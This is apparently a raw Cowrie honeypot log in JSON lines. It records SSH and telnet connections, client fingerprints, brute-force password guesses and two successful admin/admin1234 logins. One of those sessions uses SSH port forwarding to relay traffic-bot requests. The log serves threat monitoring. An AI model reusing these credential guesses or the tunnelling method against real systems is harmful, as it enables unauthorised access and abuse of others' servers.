{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:22.669666Z","src_ip":"27.71.230.31","session":"a7415d962118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ihatepasswords1","message":"login attempt [root/Ihatepasswords1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:24.167362Z","src_ip":"27.71.230.31","session":"a7415d962118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.2298698425293,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:25.138011Z","src_ip":"172.81.62.90","session":"db195151512f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:26.194537Z","src_ip":"27.71.230.31","session":"a7415d962118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":52217,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d556a5edcf9","protocol":"ssh","message":"New connection: 49.247.37.22:52217 (159.203.135.109:22) [session: 1d556a5edcf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:26.546281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:26.550914Z","src_ip":"49.247.37.22","session":"1d556a5edcf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:26.763198Z","src_ip":"49.247.37.22","session":"1d556a5edcf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$word","message":"login attempt [root/P@$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:27.610232Z","src_ip":"49.247.37.22","session":"1d556a5edcf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:28.823820Z","src_ip":"49.247.37.22","session":"1d556a5edcf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.38995909690857,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:31.449265Z","src_ip":"172.81.62.90","session":"eaf0d0d108ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":56714,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e8e08474fea","protocol":"ssh","message":"New connection: 23.175.50.52:56714 (10.17.0.5:22) [session: 8e8e08474fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:33.756826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:33.768004Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:34.115416Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":50688,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c0e36ac1f1c","protocol":"ssh","message":"New connection: 38.46.222.137:50688 (10.17.0.5:22) [session: 2c0e36ac1f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:35.919543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:35.926324Z","src_ip":"38.46.222.137","session":"2c0e36ac1f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:35.996299Z","src_ip":"38.46.222.137","session":"2c0e36ac1f1c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:36.696909Z","src_ip":"38.46.222.137","session":"2c0e36ac1f1c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:37.676737Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":59836,"dst_ip":"159.203.135.109","dst_port":22,"session":"4efe12da25fa","protocol":"ssh","message":"New connection: 182.93.50.90:59836 (159.203.135.109:22) [session: 4efe12da25fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:43.343415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:43.348038Z","src_ip":"182.93.50.90","session":"4efe12da25fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:43.562941Z","src_ip":"182.93.50.90","session":"4efe12da25fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc#EDC3edc","message":"login attempt [root/3edc#EDC3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:44.455050Z","src_ip":"182.93.50.90","session":"4efe12da25fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:45.694679Z","src_ip":"182.93.50.90","session":"4efe12da25fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":38728,"dst_ip":"159.203.135.109","dst_port":22,"session":"d504816886ff","protocol":"ssh","message":"New connection: 101.79.165.43:38728 (159.203.135.109:22) [session: d504816886ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:51.420186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:51.424617Z","src_ip":"101.79.165.43","session":"d504816886ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:51.638804Z","src_ip":"101.79.165.43","session":"d504816886ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Beijing123","message":"login attempt [root/Beijing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:52.542316Z","src_ip":"101.79.165.43","session":"d504816886ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:05:53.758892Z","src_ip":"101.79.165.43","session":"d504816886ff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:01.243803Z","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:01.322289Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.1.2 Safari/602.2.14\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aSRBZ3klZUJeflhUNTFWbg%3D%3Dp7UbpvbhCvvzbvRpHuPvL3j0cTfdkgR29%2Bb5WFqEDQLStIGw%2BJhqPyiwd8xp9SSwjoZbZv2EPgbA27g%2FUvV3Wht9yG8wIFpMmzeyRTP4G0Ja0WDGnhQxSRTmMgvB%2ForyO%2B8rDVRk1U1ahSxBSv5hxbhKoqo%2BNZOF9kmqnGmnMqgYdWUYf2TdVvcakL%2BPqCHxiTSPKFKWSXMEkbna7beR1MKnJmfWyVeyf8bGo4fzHF3y%2FwQtC3ozXeIDp81hqDNnsDyxyMItm7jei2rk7kTwQlKSjwuJB0V1cgtiF5H63Jh2OZxUrjyiMuFt77v3prOwtgRWvZ1jb%2BuCw2drrocnKzd0JExUfNAZ5cdc44n65uwussdds4UTdepQc%2B1rQlEtkT0NOO58T52N6heS8772WBZpOjN4YY3tfR9blmVxuYjNuLY3QPsJqjCLzhdgwkUqjBaIP8w2a6rDtKnEdWWa48M2PH%2BtkXo%2BvpdAiOKTRUvJuoLs0TIZ1RsE0dc%2FCgB006QMWgThvqH5D1GT0rBiNBCLzuHMIytIYb%2B59xQav5AURsDX4Kp%2BBBEmqoLWaYUkZuDlk8XD1jks6SOBvK7OOOlTEFXjP28A01VSVyuohVcfWPKKIw4LEI1aOhE5F3zzwp0n6vWJed0lwTJJ7Kym1aSz5LcAKT%2BIel%2FajtpWxBj7AvaNRpM9Veedba8Bgzfcbb2XBThbYVCa616XqPy%2FBhjtbuJXORmVG4BRniYu7DyYeAykkx%2F%2BLUucLDtnD7HxVZZGpk4OnjNPR45j9y5oWqCkkKokYogD6P2cwPAmrS5Whk2h2ApFCimFJQOWgwvlEQpivLqr56ZBeZP27CoAcOf3H%2Fhl5PdXC43hklBzil0EDx82R9KL9NPUhpdbuqe1ZQt7XNBs0iiZAnTxgIwYnjHc6J0GZ%2FOaa5gUufn04kqU%2B0Yq%2Fqjlt9BmOlIM241fs2Q7cClFXEmsmg5l9sRociqSeHfXuOnBzXO5SqN8fSdfDT5n72%2FzmMaCvqc0EEX5GVRW7N%2BoHiDr9jUaC9EWNjCThxJzwjfCHEHTbeMQAjI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/9.1.2 Safari/602.2.14\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=aSRBZ3klZUJeflhUNTFWbg%3D%3Dp7UbpvbhCvvzbvRpHuPvL3j0cTfdkgR29%2Bb5WFqEDQLStIGw%2BJhqPyiwd8xp9SSwjoZbZv2EPgbA27g%2FUvV3Wht9yG8wIFpMmzeyRTP4G0Ja0WDGnhQxSRTmMgvB%2ForyO%2B8rDVRk1U1ahSxBSv5hxbhKoqo%2BNZOF9kmqnGmnMqgYdWUYf2TdVvcakL%2BPqCHxiTSPKFKWSXMEkbna7beR1MKnJmfWyVeyf8bGo4fzHF3y%2FwQtC3ozXeIDp81hqDNnsDyxyMItm7jei2rk7kTwQlKSjwuJB0V1cgtiF5H63Jh2OZxUrjyiMuFt77v3prOwtgRWvZ1jb%2BuCw2drrocnKzd0JExUfNAZ5cdc44n65uwussdds4UTdepQc%2B1rQlEtkT0NOO58T52N6heS8772WBZpOjN4YY3tfR9blmVxuYjNuLY3QPsJqjCLzhdgwkUqjBaIP8w2a6rDtKnEdWWa48M2PH%2BtkXo%2BvpdAiOKTRUvJuoLs0TIZ1RsE0dc%2FCgB006QMWgThvqH5D1GT0rBiNBCLzuHMIytIYb%2B59xQav5AURsDX4Kp%2BBBEmqoLWaYUkZuDlk8XD1jks6SOBvK7OOOlTEFXjP28A01VSVyuohVcfWPKKIw4LEI1aOhE5F3zzwp0n6vWJed0lwTJJ7Kym1aSz5LcAKT%2BIel%2FajtpWxBj7AvaNRpM9Veedba8Bgzfcbb2XBThbYVCa616XqPy%2FBhjtbuJXORmVG4BRniYu7DyYeAykkx%2F%2BLUucLDtnD7HxVZZGpk4OnjNPR45j9y5oWqCkkKokYogD6P2cwPAmrS5Whk2h2ApFCimFJQOWgwvlEQpivLqr56ZBeZP27CoAcOf3H%2Fhl5PdXC43hklBzil0EDx82R9KL9NPUhpdbuqe1ZQt7XNBs0iiZAnTxgIwYnjHc6J0GZ%2FOaa5gUufn04kqU%2B0Yq%2Fqjlt9BmOlIM241fs2Q7cClFXEmsmg5l9sRociqSeHfXuOnBzXO5SqN8fSdfDT5n72%2FzmMaCvqc0EEX5GVRW7N%2BoHiDr9jUaC9EWNjCThxJzwjfCHEHTbeMQAjI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:01.325761Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:01.659028Z","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:06:01.789450Z","src_ip":"23.175.50.52","session":"8e8e08474fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\xc7\\xf9\\x05u\\xbf\\x19\\xf6\\x95-\\xf5\\x18\\xbc\\x8cm\\xd1\\x14b7\\xcbl\\x85\\xb6\\xf9\\xbd`\\xdd\\x9b\\x95V\\xadT \\x98\"z9\\xedN\\xa2\\xe3\\x16QT\\x01\\x06\\xac\\xd2NG\\x04\\xa0\\x03\\x85\\xd1\\x91\\xed\\xa2:\\xdc u\\x03\\x97P\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7\\x1e\\xa4\\x9d9\\xb2\\x1d\\x8b\\x90\\'\\xd5\\x87\\xefa)\\xd9\\x01\\xdb\\x17\\xfb\\xec 